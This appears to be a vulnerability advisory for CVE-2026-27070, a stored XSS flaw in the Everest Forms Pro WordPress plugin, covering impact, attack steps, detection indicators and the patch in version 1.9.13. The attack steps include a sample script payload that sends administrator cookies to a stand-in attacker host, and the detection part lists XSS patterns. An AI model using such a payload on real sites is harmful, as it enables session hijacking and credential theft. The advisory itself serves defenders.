CVE-2026-27070: 
WordPress vulnerability analysis and mitigation

CVE-2026-27070 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPEverest Everest Forms Pro WordPress plugin, classified under CWE-79. It affects all versions of Everest Forms Pro through 1.9.12 (initially reported as through 1.9.10). The vulnerability was reported by researcher Kishan Vyas on December 11, 2025, and publicly disclosed on March 12–19, 2026. It carries a CVSS v3.1 base score of 7.1 (Medium/High) (Patchstack, Red Hat CVE).

The vulnerability is rooted in improper neutralization of user-supplied input during web page generation (CWE-79), allowing malicious scripts to be persistently stored and later rendered in victims' browsers. An unauthenticated attacker can inject malicious JavaScript or HTML payloads through form fields processed by the Everest Forms Pro plugin; the payload is stored server-side and executed when a privileged user (e.g., an administrator) views the affected content. The attack vector is network-based with low complexity, no privileges required, but requires user interaction (a privileged user must view the stored payload) and has a changed scope, meaning the impact crosses security boundaries (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or defacement of the WordPress site. Because the payload is stored persistently, every privileged user who views the affected page is at risk without any further attacker interaction. The changed scope means the impact can extend beyond the plugin itself to the broader WordPress environment, including confidentiality and integrity of site data and limited availability impact (Patchstack).

No public proof-of-concept exploit code or active in-the-wild exploitation has been confirmed as of the disclosure date. The EPSS score is approximately 0.033% (0.000330), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running Everest Forms Pro version 1.9.12 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible WordPress installations.
2. Identify injectable form field: Locate a form created with Everest Forms Pro on the target site that accepts user input and does not properly sanitize it before storage.
3. Inject malicious payload: Submit a crafted form entry containing a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a vulnerable form field.
4. Wait for privileged user interaction: The payload is stored in the WordPress database. When an administrator or editor views the form submissions in the WordPress admin panel, the malicious script executes in their browser.
5. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the admin (e.g., create rogue admin accounts, install malicious plugins), or redirect the admin to a phishing page (Patchstack).

• Logs: WordPress access logs showing POST requests to form submission endpoints with unusually long or script-containing input values; admin panel access logs showing views of form entries shortly followed by unexpected outbound requests.
• Database: WordPress database entries in form submission tables containing <script>, javascript:, onerror=, onload=, or similar XSS payload patterns in form field values.
• Network: Outbound HTTP requests from administrator browsers to unknown external domains immediately after viewing form submissions in the WordPress admin panel; unexpected cookie or credential data transmitted to external IPs.
• File System: Unexpected new WordPress admin accounts, newly installed plugins, or modified theme files that could indicate post-exploitation actions taken after session hijacking.

The vendor has released a patched version: Everest Forms Pro 1.9.13, which resolves the vulnerability. All users running version 1.9.12 or earlier should update immediately. Patchstack has also issued a virtual patch (mitigation rule) for its subscribers to block exploitation attempts until the plugin is updated. As an additional measure, administrators should review stored form submissions for suspicious content and restrict access to the WordPress admin panel via IP allowlisting where feasible (Patchstack).

Wordfence included this vulnerability in its weekly WordPress vulnerability report covering March 9–15, 2026, highlighting it as part of broader WordPress plugin security coverage (Wordfence Blog). The vulnerability was also noted by INCIBE-CERT (Spain's national cybersecurity incident response center) in its early warning alerts (INCIBE-CERT). Community reaction has been limited, consistent with the medium-severity classification and absence of active exploitation.